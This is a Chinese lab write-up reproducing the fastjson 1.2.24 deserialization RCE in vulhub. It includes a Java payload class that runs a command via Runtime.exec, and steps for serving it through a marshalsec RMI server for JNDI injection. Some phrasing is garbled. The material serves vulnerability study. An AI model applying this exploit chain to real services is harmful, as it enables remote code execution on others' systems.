fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson在解析json的过程中 支持使用autoType来实例化某个具体的类 并调用该类的set/get方法来访问属性。
漏洞环境
我们先下载环境,在github上有别人直接搭建好的码头环境我们直接拿来用食品制造
- git clone git://github.com/vulhub/vulhub.git
- cd vulhub/fastjson/1.2.24-rce/
- docker-compose up -d
复制代码
访问IP:8090 分类统计JSON格式的输出。
影响版本
fastjson <=1.2.24
漏洞复现
因为目标环境是Java 8u102 没有com.sun.jndi.rmi.object.trustURLCodebase的限制我
们可以使用com.sun.rowset.JdbcRowSetImpl的利用链通过JNDI注入来执行命令。
首先编译并上传命令执行代码 代码如下
- // javac TouchFile.java
- import java.lang.Runtime;
- import java.lang.Process;
- public class TouchFile {
- static {
- try {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"touch", "/tmp/EDI"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- } catch (Exception e) {
- // do nothing
- }
- }
- }
复制代码
一个可以访问到的服务器上 我这个是用python再看一个
然后使用marshalsec项目启动一个RMI服务监听9999端口 并开始加载远程类TouchFile.class
我们先下载marshalsec 这个为网址:https : //github.com/mbechler/marshalsec
然后使用maven编译marshalsec成jar包 我们先进入下载的marshalsec文件中运行
mvn clean package -DskipTests 编译
发现生成jar包
开启RMI服务
执行POC
python和RMI都监听到
去容器查看发现创建的EDI文件
这里大家排点坑 会发现所有操作都但就是不能执行命令成功这个是java的问题
因为jdk:8u102 这个版本没有com.sun.jndi.rmi.object.trustURLCodebase限制所以
我们复现尽量使用jdk:8u102或以下版本 所以会复现失败。